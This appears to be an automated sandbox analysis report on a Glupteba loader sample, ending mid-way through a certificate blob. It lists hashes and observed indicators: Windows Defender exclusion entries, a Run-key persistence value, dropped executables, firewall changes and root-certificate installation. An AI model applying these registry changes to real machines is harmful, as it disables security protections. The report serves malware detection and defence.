glupteba | 54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6

Analysis

max time kernel
150s
max time network
162s
platform
windows7_x64
resource
win7-20220718-en
resource tags

arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
submitted
25-07-2022 19:28

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General

Target

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Size

4.2MB
MD5

fb0abe71241fb248abb144ee67f01da6
SHA1

952da25176bb0e606609500ea52edcf39fe7aec2
SHA256

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6
SHA512

6f18aeb13784c17d81c332da607b57e36b4d1da57a20f1f72e11cbfdaf83baafb1d01ffdab7829c68a41bfaef5cdfb6132c0084d4d56c6aa5e08ac6cb7de63f6

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1804-56-0x00000000055F0000-0x0000000005CE6000-memory.dmp	family_glupteba
behavioral1/memory/1804-57-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1804-58-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1804-59-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1160-62-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1160-69-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1964-72-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1964-73-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1964-75-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba
behavioral1/memory/1964-78-0x0000000000400000-0x0000000004FED000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LongDream = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1964 csrss.exe
2012 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1892 netsh.exe

pid	process
1964	csrss.exe
2012	patch.exe

pid	process
1892	netsh.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1804-54-0x0000000000400000-0x0000000004FED000-memory.dmp	upx
behavioral1/memory/1160-60-0x0000000000400000-0x0000000004FED000-memory.dmp	upx
\Windows\rss\csrss.exe	upx
\Windows\rss\csrss.exe	upx
C:\Windows\rss\csrss.exe	upx

Loads dropped DLL 8 IoCs

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exepatch.exe

pid	process
1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
1160	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
868
2012	patch.exe
2012	patch.exe
2012	patch.exe
2012	patch.exe
2012	patch.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LongDream = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Windows\CurrentVersion\Run\LongDream = "\"C:\\Windows\\rss\\csrss.exe\""	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
File created	C:\Windows\rss\csrss.exe	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220726155326.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1680 schtasks.exe
1592 schtasks.exe

pid	process
1680	schtasks.exe
1592	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	54621d23240e0d13c89ef7aaaab2fe5316355ac48e86b2af8ce629901328ebb6.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

patch.execsrss.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bed